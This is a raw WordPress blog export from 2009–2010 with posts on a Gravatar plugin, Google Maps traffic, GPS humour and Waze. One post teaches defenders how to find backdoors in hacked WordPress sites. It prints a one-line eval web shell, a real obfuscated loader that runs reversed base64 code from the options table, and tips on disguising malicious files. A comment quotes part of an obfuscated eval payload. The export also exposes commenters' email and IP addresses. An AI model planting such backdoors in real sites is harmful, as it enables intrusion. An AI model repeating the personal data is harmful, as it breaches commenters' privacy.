    So as you can see, styling the gravatar box is fairly easy to do for any way you want to do it.

    I see no gravatar on my page!

    Possible problems:

    • Did you add the gravbox code to your comments form?

    • Are you logged in? Most themes don't display the email box when you're logged in. Log out and look at the page.

    • Type in an email address for something to actually happen. The div defaults to empty, until it has something to check.

    • Email addresses always contain the @ sign. Without an @, it won't bother checking.

    • Can you access gravatar.com normally? The request happens in your browser, not from the website.

    Nothing happens when I type in an email!

    Open your browser's error console. Any javascript errors in there? If so, they may have stopped execution of javascript on the page. Solve those errors. This may involve deactivating other plugins which are broken and causing errors on your page.

    The gravatar it displays is wrong!

    No, it's not. Go login to your gravatar account and check.

    ";s:12:"download_url";s:54:"http://downloads.wordpress.org/plugin/gravatar-box.zip";s:4:"tags";s:46:"javascript, otto, automatic, gravbox, gravatar";s:11:"compat_with";s:5:"2.9.2";s:10:"downloaded";s:5:"2,943";s:6:"rating";s:1:"5";s:8:"link_url";s:49:"http://wordpress.org/extend/plugins/gravatar-box/";s:7:"updated";s:15:"August 31, 2009";s:11:"updated_ago";s:12:"217 days ago";s:8:"download";s:71:"%s";s:8:"homepage";s:76:"%s";s:4:"link";s:66:"%s";s:7:"profile";s:67:"%s";s:10:"author_url";s:23:"http://ottodestruct.com";s:11:"author_name";s:4:"Otto";s:13:"latest_change";s:118:"

    Added support for logged in users. It will display their gravatar in a gravbox div same as non-logged-in users.

    ";s:13:"download_link";s:54:"http://downloads.wordpress.org/plugin/gravatar-box.zip";s:9:"tags_list";s:46:"javascript, otto, automatic, gravbox, gravatar";s:6:"extend";s:49:"http://wordpress.org/extend/plugins/gravatar-box/";s:17:"last_updated_nice";s:15:"August 31, 2009";s:12:"last_updated";s:15:"August 31, 2009";s:16:"last_updated_ago";s:12:"217 days ago";s:16:"last_updated_raw";s:10:"2009-08-31";}
    _revision-control 0 6908 http://www.wptavern.com/forum/general-wordpress/592-what-wordpress-plugin-would-you-like-see-made-2.html#post6766 67.228.235.94 2009-08-25 11:27:36 2009-08-25 16:27:36 1 pingback 0 0 6914 email@lambrosioannou.com http://www.lambrosioannou.com 86.1.203.121 2009-08-27 07:32:09 2009-08-27 12:32:09 1 0 0 6919 tatethegreat05@hotmail.com http://www.tatesjourney.com 59.13.180.166 2009-08-29 13:55:40 2009-08-29 18:55:40 1 0 0 6909 alexcragg@gmail.com http://epicalex.com 92.10.111.26 2009-08-25 18:57:22 2009-08-25 23:57:22 1 0 0 6910 contact@joeswebtools.com http://www.joeswebtools.com 204.128.192.3 2009-08-26 13:03:06 2009-08-26 18:03:06 1 0 0 6911 maloXP@gmx.net http://citronengras.de/ 94.222.21.246 2009-08-26 17:28:05 2009-08-26 22:28:05 1 0 0 6912 maxakashmu@gmail.com http://www.maxtarkhov.com 193.200.68.142 2009-08-27 03:06:57 2009-08-27 08:06:57 1 0 0 6913 john.black@son.web.id http://www.son.web.id 125.167.177.191 2009-08-27 03:12:07 2009-08-27 08:12:07 1 0 0 6915 rolograaf@gmail.com http://rolograaf.nl/com 82.95.255.172 2009-08-27 08:00:56 2009-08-27 13:00:56 1 0 0 6916 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-08-27 08:45:14 2009-08-27 13:45:14 1 6911 1 6917 turkbaron@ymail.com http://www.turkbaron.net 88.228.80.149 2009-08-27 09:12:07 2009-08-27 14:12:07 1 0 0 6918 http://wplang.cn/post/gravatar-box-a-brief-introduction-and-use-of-methods.html 74.52.129.106 2009-08-27 11:06:12 2009-08-27 16:06:12 1 pingback 0 0 6920 bubazoo@yahoo.com http://www.tcoburn.com 74.97.232.29 2009-08-29 21:39:49 2009-08-30 02:39:49 1 0 0 6921 otto@ottodestruct.com http://ottodestruct.com 208.63.168.222 2009-08-29 21:48:35 2009-08-30 02:48:35 1 6919 1 6922 otto@ottodestruct.com http://ottodestruct.com 208.63.168.222 2009-08-29 21:50:27 2009-08-30 02:50:27 1 6920 1 6923 http://www.bubblebabe.ru/2009-08-gravatar-box/ 92.63.97.88 2009-08-30 10:39:10 2009-08-30 15:39:10 1 pingback 0 0 6924 ipstenu@ipstenu.org http://ipstenu.org 192.77.161.22 2009-08-31 12:40:54 2009-08-31 17:40:54 1 0 0 6925 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-08-31 12:45:31 2009-08-31 17:45:31 1 6924 1 6926 ipstenu@ipstenu.org http://ipstenu.org 192.77.161.22 2009-08-31 12:52:13 2009-08-31 17:52:13 I didn’t really see the point in doing that for this plugin, the goal is more to get users to sign up for gravatars if they don’t have them already, thus the sign up link (which you’ll notice has the person’s email pre-filled in). What about users who are signed in and DON'T have a gravatar yet? :) I have a healthy mix of registered and not registered users (bbPress integration - forums users have to register), so I'd like them to feel loved too ;) I'll have to play with this. My js isn't as good as it used to be.]]> 1 6925 0 6927 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-08-31 13:14:01 2009-08-31 18:14:01 1 6926 1 6928 ipstenu@ipstenu.org http://ipstenu.org 192.77.161.22 2009-08-31 13:47:19 2009-08-31 18:47:19 1 6927 0 6929 http://epicalex.com/getting-gravatars-on-the-fly/ 67.205.15.135 2009-09-01 08:50:41 2009-09-01 13:50:41 1 pingback 0 0 6931 john@johnonfood.com http://johnonfood.com 82.177.36.10 2009-09-03 03:12:41 2009-09-03 08:12:41 1 0 0 6932 jessalu@gmail.com http://www.jessaluknits.com 96.228.96.185 2009-09-17 09:23:28 2009-09-17 14:23:28 1 0 0 6939 webmaster@pattersonschool.net http://www.pattersonschool.net 69.131.137.217 2009-09-22 10:29:59 2009-09-22 15:29:59 1 0 0 6940 iwahla1@hotmail.com http://test 65.78.173.221 2009-09-24 01:30:26 2009-09-24 06:30:26 1 0 0 7018 neutralx2@gmail.com 68.55.58.97 2009-11-20 12:23:15 2009-11-20 18:23:15 1 6927 0 7019 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2009-11-20 12:25:28 2009-11-20 18:25:28 1 7018 1 7064 azaz@azaza.com 93.19.114.177 2009-12-07 19:22:52 2009-12-08 01:22:52 1 0 0 7232 karsten@web.de 92.229.226.183 2010-01-09 16:00:41 2010-01-09 22:00:41 1 0 0 7100 anduriell@gmail.com http://tangocanarias.es 85.60.44.3 2009-12-16 16:53:10 2009-12-16 22:53:10 1 0 0 7289 joyfulwizdom@yahoo.com 67.171.183.8 2010-01-15 14:20:48 2010-01-15 20:20:48 1 0 0 7340 eduardo@balanceyequilibrio.com http://www.BalanceyEquilibrio.com 186.82.233.221 2010-01-22 23:06:30 2010-01-23 05:06:30 www.Gravatar.com to create your picture. This is actually what immediately recognizces which image to place once you have added an email. Go to the website and you will understand. On the actual folder on your PLUGINS -> GRAVATAR BOX, you will find a READ ME file which has the code you can copy and paste for your CSS. All you have to do is replace the link of the gravatar for yours.]]> 1 0 0 7352 http://freakenstein.nl/wordpress-plugin-gravatar-box/ 109.72.85.46 2010-01-25 03:54:40 2010-01-25 09:54:40 1 pingback 0 0 7709 djavin@msn.com 87.212.1.7 2010-02-21 10:02:38 2010-02-21 16:02:38 1 0 0 7710 djavin@msn.com 87.212.1.7 2010-02-21 10:20:41 2010-02-21 16:20:41 1 0 0 7711 djavin@msn.com 87.212.1.7 2010-02-21 10:48:12 2010-02-21 16:48:12 1 0 0 7740 hahaha@gasdsd.de 130.83.244.129 2010-02-25 15:50:23 2010-02-25 21:50:23 1 0 0 7866 otto@ottodestruct.com http://ottodestruct.com 169.198.254.6 2010-03-09 10:02:41 2010-03-09 16:02:41 1 0 1
    Google Maps on the phone http://ottodestruct.com/blog/2009/google-maps-traffic/gmm_arterials_z15/ Tue, 25 Aug 2009 16:45:13 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/08/gmm_arterials_z15.png 535 2009-08-25 11:45:13 2009-08-25 16:45:13 open open gmm_arterials_z15 inherit 534 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/08/gmm_arterials_z15.png _wp_attached_file 2009/08/gmm_arterials_z15.png _wp_attachment_metadata a:6:{s:5:"width";s:3:"320";s:6:"height";s:3:"480";s:14:"hwstring_small";s:22:"height='96' width='64'";s:4:"file";s:29:"2009/08/gmm_arterials_z15.png";s:5:"sizes";a:2:{s:9:"thumbnail";a:3:{s:4:"file";s:29:"gmm_arterials_z15-100x150.png";s:5:"width";s:3:"100";s:6:"height";s:3:"150";}s:6:"medium";a:3:{s:4:"file";s:29:"gmm_arterials_z15-300x450.png";s:5:"width";s:3:"300";s:6:"height";s:3:"450";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} btc_comment_counts a:0:{} Google Maps traffic... it needs work. http://ottodestruct.com/blog/2009/google-maps-traffic/ Tue, 25 Aug 2009 16:56:50 +0000 http://ottodestruct.com/blog/?p=534 blog post where they explain it a bit better. [caption id="attachment_535" align="alignright" width="320" caption="That ain't on an iPhone..."]That ain't on an iPhone...[/caption] Basically, they simply have all the phones running Google Maps with GPS send back data as to a) where they are and b) how fast they're moving. Both of which GPS gives you more or less by default. It's a clever idea, and I like it, but it fails in a couple of major ways, IMO. Firstly, when I use Google Maps on my phone, I tend to not leave it open. Google Maps is fine, but it's not a very good navigation system. It's just a map. A real navigation app is worlds better. I recently got Navigon Mobile Navigator on the new iPhone, and it's pretty slick. Thinking about a dashboard mount for it now, actually. Secondly, this system relies on a lot of people having Google Maps open and running and sending back data. If nobody with Google Maps running has been on your street recently, you get no information. What Google really needs to do is to open it up as an API. Let other navigation system manufacturers both send and receive traffic data from the Google Maps system. It doesn't have to be complex. Any good navigation app knows your location and speed, so a simple way to send that info could be made easily enough. The problem, of course, is allowing third parties to use the data. Google Maps works in layers of images, which is one of its major shortcomings, IMO. The street views are images. The terrain are images. Just big sets of tiles that get displayed next to each other. And I'm almost certain that this traffic thing is just another set of images they're generating or updating. For navigation providers that use 3d views and such, they don't need that stuff in the form of images, they need it in the form of data. What streets are busy? How can that information be used to improve the navigation? Etc. Google is generally pretty good at opening up their APIs to third parties. However, they're generally not good at providing data in different forms. Most of their APIs are "this is what we use, if you need something else we don't have it" sort of thing. Hopefully, the Google Maps team will see the light here and realize that to get good data, you have to give good data, and start pushing in that direction. Because open traffic data would be pretty cool for everybody.]]> 534 2009-08-25 11:56:50 2009-08-25 16:56:50 open open google-maps-traffic publish 0 0 post 0 aktt_notify_twitter no _edit_lock 1251219636 _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} btc_post a:6:{s:2:"ID";s:3:"534";s:13:"post_date_gmt";s:19:"2009-08-25 16:56:50";s:23:"initial_import_date_gmt";s:19:"2009-08-25 17:02:33";s:20:"last_import_date_gmt";s:19:"0000-00-00 00:00:00";s:4:"hits";s:1:"0";s:6:"misses";s:1:"0";} 7364 aumnikov@gmail.com http://weekend-ontario.com 76.10.135.123 2010-01-25 21:23:18 2010-01-26 03:23:18 toronto traffic map]]> 1 0 0 Bob Dylan to be new voice of GPS system http://ottodestruct.com/blog/2009/bob-dylan-to-be-new-voice-of-gps-system/ Wed, 26 Aug 2009 17:52:41 +0000 http://ottodestruct.com/blog/?p=543 the Telegraph, Bob Dylan has been approached by multiple GPS manufacturers to be the voice of their GPS system. While this is ludicrous on the face of it (having listened to Bob for many years, let's face it, clarity ain't his strong suit), I find that the best part of the whole story is what people have to say about it. Some of the comments on Digg about this development are truly the greatest remarks I've ever seen. There's the predictable ones about his clarity, or lack thereof:
    "tuhhhhh lef at the lighhhhh" What?
    The natural comparisons to other celebrities doing GPS directions (such as Arnold Schwarzenegger in this case)
    "Dis Twaffic sucks. GET TO DAH CHOPPA!"
    Or Alan Rickman, which had this as my own contribution:
    Hello. This is Alan Rickman. You need to take a left in two hundred yards. Do not disappoint me.
    And this one:
    BILLY MAYS HERE. TURN RIGHT AHEAD POINT 1 MILES.
    Or an R. Lee Ermey one:
    "I SAID RIGHT YOU WORTHLESS WASTE OF SHIT, I HAVEN'T SEEN DRIVING THIS BAD SINCE I LET MY WIFE DRIVE" "IF GOD WANTED YOU ON THE TURNPIKE HE WOULD HAVE MIRACLED YOUR ASS ON THERE BY NOW."
    Of course, reworked song lyrics:
    Come gather round people wherever you are, And thank you kindly for using on-star, And I will help you to maneuver your car, For the trip you are arranging! So don't miss that turn, And don't go too far! Oooh, your destination is a-changing!
    Even a pretty decent meta reference comment:
    Well, in these modern times, I'm not sure this would be street legal. I mean, when you're going down highway 61, I'd imagine you'd be fine. You and John Wesley Harding can gaze at the Nashville skyline all you want while using the GPS. But when you're on those back roads, the system might miss some railroad tracks, leaving you stranded with a slow train coming. If you don't know to move, oh mercy, there's going to be blood on the tracks. I can see why one would desire such a GPS, though, as they've saved many people from having to drive in circles until the new morning before finding their destination. Well, I guess the times, they are a-changin', and when you're out on the road, under a blood red sky and trying to bring it all back home, a GPS will definitely keep you from freewheelin' for too long.
    Digg comments are often a wasteland of human misery and suffering (not as bad as YouTube comments, but close), however this one is pretty good and worth checking out.]]>
    543 2009-08-26 12:52:41 2009-08-26 17:52:41 open open bob-dylan-to-be-new-voice-of-gps-system publish 0 0 post 0 aktt_notify_twitter no _edit_lock 1251474578 _edit_last 1 btc_comment_counts a:0:{} btc_comment_summary a:0:{} btc_post a:6:{s:2:"ID";s:3:"543";s:13:"post_date_gmt";s:19:"2009-08-26 17:52:41";s:23:"initial_import_date_gmt";s:19:"2009-08-26 17:55:04";s:20:"last_import_date_gmt";s:19:"0000-00-00 00:00:00";s:4:"hits";s:1:"0";s:6:"misses";s:1:"0";}
    iPhone image http://ottodestruct.com/blog/2009/waze-review/iphone-image/ Mon, 21 Sep 2009 18:03:30 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/09/200908131831.jpg 548 2009-09-21 13:03:30 2009-09-21 18:03:30 open open iphone-image inherit 547 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/09/200908131831.jpg _wp_attached_file 2009/09/200908131831.jpg _wp_attachment_metadata a:6:{s:5:"width";s:3:"269";s:6:"height";s:3:"478";s:14:"hwstring_small";s:22:"height='96' width='54'";s:4:"file";s:24:"2009/09/200908131831.jpg";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:23:"200908131831-84x150.jpg";s:5:"width";s:2:"84";s:6:"height";s:3:"150";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} btc_comment_counts a:0:{} Waze - Free iPhone Directions Application http://ottodestruct.com/blog/2009/waze-review/ Mon, 21 Sep 2009 18:03:31 +0000 http://ottodestruct.com/blog/?p=547 iPhone image Waze is a free driving directions app, with a twist. Basically, the maps on it are "incomplete". That is, they've got the map data, but like all maps, the data is inaccurate. So, to get the data to be better, they're enlisting your help. How do you help? Simple. You use the app in the car, then drive around. As you do so, the GPS will be reading your location and noting that there is indeed a street there. It makes it kinda fun to confirm streets in this way since a little Pac-Man like figure appears, eating dots on the map where you are driving, and giving you "points". The points aren't useful for much, except a ranking system with everybody else using the app, but it's fun nevertheless. So what else? Well, obviously it'll do driving directions. However, when I tried it to get to my friend's place at Cooper-Young fest this last weekend, it was laughably wrong. It suggested an 8 mile trek through ridiculous parts of town for no reason. I drove there the normal route instead, letting it complain that I was "off route" all the way and listening to the Waze-pacman gathering up the points as he munched his way down the road. However, something odd happened then. On the way back, when I turned it on, it knew that route. Investigating today, I've found that it really doesn't like to route people on routes that haven't been "confirmed" yet very much. So, since I'd confirmed that route already, it picked it for my way home. But there's a bonus to all that. By confirming the route, it's getting more than street maps. It's also getting average speeds. So it can use that information to give optimal routes, knowing how fast each street tends to be. iPhone Event Reporting You can even more than that though. Along the way, you can report events too. An event is like an auto accident, or a speed trap. Whenever you see one of these, you can touch the report button and report one quickly. If you're totally stopped in traffic, then you can also type in a short message (it won't let you do that while moving), and the message will instantly be sent, where other drivers (and their iPhone's) can see it. Those drivers will then get routed a different way, possibly saving them some time. Or, even better, somebody else reports a problem, and you get to save some time. Downsides to the app: Battery life. Like any other GPS app, it sucks the battery right down. You'll need a car charger to run the thing. Probably a quality iPhone mount too. It does do landscape mode as well, and hidden down in the options is a "3D mode", which makes the map lay back and look like the more expensive iPhone driving apps, if you prefer that sort of thing. The 2D map is easier to read, to me. From what I'm reading, Waze has only been around a month or so, and not many people are using it. As far as I can tell, almost nobody in Memphis is using it, since almost all the roads are unconfirmed. But it would be pretty neat if everybody driving around was sharing data like this, what with Memphis traffic being what it is. I sure wouldn't mind getting routed around half the crap I see on the streets around here. If you've wanted to try out a driving directions app without spending $100 or so, then you cannot beat free. So I highly recommend it. I'm using it all the time now.]]> 547 2009-09-21 13:03:31 2009-09-21 18:03:31 open open waze-review publish 0 0 post 0 aktt_notify_twitter yes btc_comment_summary a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"2";s:7:"enabled";s:1:"0";}} _edit_lock 1258400789 _edit_last 1 aktt_tweeted 1 btc_post a:6:{s:2:"ID";s:3:"547";s:13:"post_date_gmt";s:19:"2009-09-21 18:03:31";s:23:"initial_import_date_gmt";s:19:"2009-09-21 18:15:31";s:20:"last_import_date_gmt";s:19:"2009-10-11 17:30:14";s:4:"hits";s:1:"2";s:6:"misses";s:3:"249";} btc_comment_counts a:0:{} btc_retweet 6938 btc_twitter 6938 _aktt_hash_meta 6938 http://twitter.com/waze 2009-09-22 03:35:54 2009-09-22 08:35:54 RT @Otto42: “If you’ve wanted to try out a driving directions app without spending $100 or so then you cannot beat free” http://bit.ly/IjM3E

    This comment was originally posted on Twitter

    ]]>
    ignored 0 0
    6948 http://twitter.com/Otto42 2009-09-21 13:11:09 2009-09-21 18:11:09 New blog post: Waze – Free iPhone Directions Application http://bit.ly/IjM3E

    This comment was originally posted on Twitter

    ]]>
    deleted 0 0
    iPhone Event Reporting http://ottodestruct.com/blog/2009/waze-review/iphone-event-reporting/ Mon, 21 Sep 2009 18:03:31 +0000 http://ottodestruct.com/blog/wp-content/uploads/2009/09/200908131831-2.jpg 549 2009-09-21 13:03:31 2009-09-21 18:03:31 open open iphone-event-reporting inherit 547 0 attachment 0 http://ottodestruct.com/blog/wp-content/uploads/2009/09/200908131831-2.jpg _wp_attached_file 2009/09/200908131831-2.jpg _wp_attachment_metadata a:6:{s:5:"width";s:3:"269";s:6:"height";s:3:"478";s:14:"hwstring_small";s:22:"height='96' width='54'";s:4:"file";s:26:"2009/09/200908131831-2.jpg";s:5:"sizes";a:1:{s:9:"thumbnail";a:3:{s:4:"file";s:25:"200908131831-2-84x150.jpg";s:5:"width";s:2:"84";s:6:"height";s:3:"150";}}s:10:"image_meta";a:10:{s:8:"aperture";s:1:"0";s:6:"credit";s:0:"";s:6:"camera";s:0:"";s:7:"caption";s:0:"";s:17:"created_timestamp";s:1:"0";s:9:"copyright";s:0:"";s:12:"focal_length";s:1:"0";s:3:"iso";s:1:"0";s:13:"shutter_speed";s:1:"0";s:5:"title";s:0:"";}} btc_comment_counts a:0:{} How to find a backdoor in a hacked WordPress http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/ Mon, 21 Sep 2009 22:14:21 +0000 http://ottodestruct.com/blog/?p=555 http://ottopress.com/2009/hacked-wordpress-backdoors/. Take your comments there. Over here, Jorge Escobar is writing about how he got hacked with the latest version of WordPress. After some minor back and forth on FriendFeed, I got him to do a search which found a malicious backdoor he might not otherwise have found. In so doing, it occurred to me that most people don't keep up with the world of WordPress in the way I do, and so have not seen nearly as many hack attempts. So I figured I'd post my little contribution, and show people how to find hidden backdoors when cleaning up their hacked sites. Non-technical users can safely ignore this post. :) What's a backdoor? Well, when somebody gets into your site, the very first thing that happens is that a backdoor is uploaded and installed. These are designed to allow the hacker to regain access after you find and remove him. Done craftily, these backdoors will often survive an upgrade as well, meaning that you stay vulnerable forever, until you find and clean the site up. However, let's be clear here: After you get hacked, the ONLY way to be 100% secure is to restore the entire site to a period before you were hacked, and then upgrade and/or patch whatever hole the hacker used to gain entry. Manual cleanup of a site is risky, because you might miss something. It's also time-consuming. But, if you don't have regular backups, you may have no real choice. First, the obvious stuff:
    • A backdoor is code that has been added to your site.
    • It will most likely be code not in the normal WordPress files. It could be in the theme, it could be in a plugin, it could be in the uploads directory.
    • It will be disguised to seem innocuous, or at least non threatening.
    • It will most likely involve additions to the database.
    Let's go over these individual points one at a time.

    Added code

    While it's true that simple "backdoors" often take the form of hidden admin users, generally complex backdoor code is simpler than that. It simply gives the attacker the means to any PHP code they like, usually through the use of the eval command. A simple example would be this: [php]eval($_POST['attacker_key']);[/php] This, very simply, executes any PHP code sent to it from a browser. Of course, they wouldn't put this code just anywhere... It has to not be that easy to find, and it has to survive a normal WordPress upgrade.

    How to hide code

    First, we have to consider where we can put our malicious code. A WordPress upgrade deletes a lot of directories. There's three obvious places: 1. Themes. Good plan, themes survive core updates. However, people tend to edit their themes a lot. Also theme names change around a fair amount, so doing this automatically is difficult. 2. Plugins. Plugins are a good place to hide code. People don't generally look at them in detail, and many plugins have vulnerabilities of their own that might be exploitable. Some of them even keep some of their directories writable, meaning we can directly upload our backdoor code to there easily, after we gain access. 3. Uploads. Perfect. It's explicitly designed to be writable. People don't generally see what's in the folders, since they're just looking at the normal interface in WordPress. This is where something like 80% of backdoor codes get put.

    The art of disguise

    This one is easy. Step 1: Pick a name that looks harmless. wp-cache.old. email.bak. wp-content.old.tmp. Something you won't think of. Remember, it doesn't have to end with PHP just because it's got PHP code in it. Step 2: Hide the code itself. Except in special circumstances, legitimate code will not use "eval". But, it happens often enough to be generally considered not harmful in and of itself. So looking for "eval" is not a good way to find malicious code. However, attackers need to disguise their attacks over the wire as well, to prevent hosts from blocking them. The easy and cheap way to do this is base64 encoding. Base 64 encoding lets them disguise their commands to their hidden "eval" command to be just a random looking string of letters and numbers. This is usually enough to get by any server filtering. However, this does mean that their code will have one tale-tell thing in it: base64_decode. Base64_decode (and the similar uudecode) are the main way to find malicious code used today. There's almost never a good reason to use them. Note the "almost" there, many plugins (notably the venerable Google Sitemap Generator) use base64_decode in legitimate ways. So it's not exactly a smoking gun, but it is highly questionable for some randomly named file lying around to have that inside it. Smarter authors realize this, and so have taken steps to hide even that sign...

    Database obfuscation

    Here's a bit of code I've seen around recently. This code does something really clever. Note that it was heavily obfuscated by including hundreds of line of randomness, hidden in /* PHP comments */. This is why having a text editor with code and syntax coloring can be very handy. Note, this code was in a file named wp-cache.old in the wp-content/uploads directory. It was included at the end of the wp-config.php (also a file that usually does not get overwritten in an upgrade). [php]global $wpdb; $trp_rss=$wpdb->get_var( "SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'"); preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m); $trp_f=create_function("",strrev($trp_m[1])); $trp_f(); [/php]
    1. It retrieves a value from the WordPress database.
    2. It pulls a specific section of that value out.
    3. It creates a function to run that value as PHP code.
    4. It runs that function.
    Note how it cleverly avoids all the warning signs.
    • Nowhere does it use "eval".
    • base64 is not visible at all.
    • The function named strrev is used. strrev reverses a string. So the code that it's pulling out is reversed! So much for looking for "base64_decode".
    The actual value in the database looked like this:
    ...a bunch of junk here...J3byJXZ"(edoced_46esab(lave
    Reverse that. What do you have? Why, it's our old friends eval and base64_decode. Clever. Searching the files for these two warning signs would have uncovered nothing at all. Searching the database for same would have also shown nothing. The key it used, BTW (rss_f541b3abd05e7962fcab37737f40fad8) is also designed to be nonthreatening. WordPress itself creates several similar looking keys as part of its RSS feed caching mechanism. So, break down how this code works.
    1. The hacked wp-config.php code causes an include of a nondescript file, called wp-cache.old.
    2. That code, which does not use any trigger words, loads a nondescript value from the options table.
    3. It performs some string operations on that code, then executes it.
    4. The code in question was the rest of the hack, and did many different things, such as inserting spam links, etc.

    Summary

    This is the sort of thing you're up against. If your site got hacked, then there exists a backdoor on your site. Guaranteed. I've never seen a hacked WordPress installation that was missing it. Sometimes there's more than one. You have to check every file, look through every plugin, examine even the database data itself. Hackers will go to extreme lengths to hide their code from you. And one more thing... before claiming that your WordPress got hacked even despite having the latest code, make sure that it wasn't actually hacked already, before you put the latest code on there. If you don't fully clean up after a hack, then you *stay* hacked. It's not a new hack, it's the same one. The latest WordPress (as of this writing) has no known security holes. Claiming that it does when you don't know that for sure is really not all that helpful. You're placing the blame in the wrong place. The WordPress team makes the code secure as is possible, and is very fast on patching the security holes that are found, when they're found. But they can't patch code that made it onto your site from some other method, can they? Just something to keep in mind.]]>
    555 2009-09-21 16:14:21 2009-09-21 22:14:21 closed closed hacked-wordpress-backdoors publish 0 0 post 0 aktt_notify_twitter yes _edit_lock 1269444136 _edit_last 1 btc_comment_counts a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"1";s:7:"enabled";s:1:"1";}} btc_comment_summary a:1:{i:0;a:3:{s:11:"comment_src";s:7:"twitter";s:3:"cnt";s:1:"1";s:7:"enabled";s:1:"1";}} _wp_old_slug how-to-find-a-backdoor-in-a-hacked-wordpress btc_post a:6:{s:2:"ID";s:3:"555";s:13:"post_date_gmt";s:19:"2009-09-21 21:14:21";s:23:"initial_import_date_gmt";s:19:"2009-09-21 21:15:39";s:20:"last_import_date_gmt";s:19:"2009-10-11 21:01:12";s:4:"hits";s:1:"1";s:6:"misses";s:2:"58";} btc_twitter 6946 _aktt_hash_meta aktt_tweeted 1 _syntaxhighlighter_encoded 1 _revision-control 0 6944 me@pinit.it http://me.pinit.it 93.42.60.168 2009-10-01 20:54:31 2009-10-02 01:54:31 base64 or 46esab (actually, who need them?). second one: a little plugin that looks around for the same things in POST queries. Just thougths, of course. But cleaning is so boring...]]> 1 0 0 6936 allen@centernetworks.com http://www.centernetworks.com 207.38.230.202 2009-09-21 16:52:10 2009-09-21 21:52:10 1 0 0 6937 http://www.centernetworks.com/wordpress-exploit 64.49.221.236 2009-09-21 19:24:24 2009-09-22 00:24:24 1 pingback 0 0 6942 office@netgenerator.de http://www.netgenerator.de 77.132.237.212 2009-09-25 01:35:50 2009-09-25 06:35:50 1 0 0 6943 ottodestruct@lonbinder.com http://www.foodmayhem.com/ 96.246.40.70 2009-09-29 22:02:46 2009-09-30 03:02:46 1 0 0 6946 http://twitter.com/Chris_Olbekson 2009-10-02 00:48:15 2009-10-02 05:48:15 Good blog post. How to find and remove a hidden backdoor in a hacked wordpress site http://bit.ly/45GNrX

    This comment was originally posted on Twitter

    ]]>
    1 0 0
    6947 http://dataimagesystems.com/password-protected-wordpress-hack/ 74.52.148.194 2009-10-15 04:03:19 2009-10-15 09:03:19 1 pingback 0 0 6960 patrick@patrickg.com http://patrickgibson.com/ 70.70.157.96 2009-11-03 15:53:09 2009-11-03 21:53:09 WordPress Butler!. It will be most useful for web hosting companies or individuals who manage multiple WordPress blogs on the same server.]]> 1 0 0 6963 http://rinzewind.org/archives/2009/11/05/como-arregle-el-blog-sin-morir-en-el-intento/ 67.205.54.97 2009-11-05 00:02:43 2009-11-05 06:02:43 1 pingback 0 0 6976 http://www.worldit.info/noutati/gumblar-blocheaza-blogurile-wordpress-si-alte-websiteuri-complexe-in-php/ 67.222.3.125 2009-11-07 04:24:58 2009-11-07 10:24:58 1 pingback 0 0 7024 aring@irisweb.net http://rappvoice.com 76.123.39.126 2009-11-23 08:21:12 2009-11-23 14:21:12 <?php $wvUJRFQ='###e####va#####l########(#ba##s##############e###########6###4############_##d##################e#c#########o####d#e##( We are going to go to a brand new theme (ours is very old) and upgrading to the latest version of WordPress - and will follow the instructions in the article How To Completely Clean Your Hacked WordPress Installation. Should we be looking for more backdoors or other malicious code if we do this?]]> 1 0 0 7025 aring@irisweb.net http://rappvoice.com 76.123.39.126 2009-11-23 08:47:26 2009-11-23 14:47:26 1 0 0 7026 otto@ottodestruct.com http://ottodestruct.com 70.156.44.145 2009-11-23 17:04:33 2009-11-23 23:04:33 1 7025 1 7028 aring@irisweb.net http://rappvoice.com 76.123.39.126 2009-11-24 09:04:30 2009-11-24 15:04:30 1 0 0 7081 jill@adaburrows.com 207.55.107.85 2009-12-11 03:56:35 2009-12-11 09:56:35 1 0 0 7365 publicmail35@gmail.com 71.247.80.69 2010-01-26 16:43:38 2010-01-26 22:43:38 1 0 0 7484 http://obnoxiousclients.com/uncategorized/gumblar-annihilation-operations-order/ 97.74.144.95 2010-02-07 02:09:05 2010-02-07 08:09:05 1 pingback 0 0 7783 http://moneyne.ws/2010/03/03/spring-cleaning-of-hacked-files/ 208.109.181.150 2010-03-03 04:44:25 2010-03-03 10:44:25 1 pingback 0 0 7833 http://ottopress.com/2010/03/hacked-wordpress-backdoors/ 64.202.163.10 2010-03-04 16:28:29 2010-03-04 22:28:29 1 pingback 0 0 7868 demsatech@gmail.com http://detroitems.org 98.224.249.62 2010-03-11 00:10:23 2010-03-11 06:10:23 1 0 0
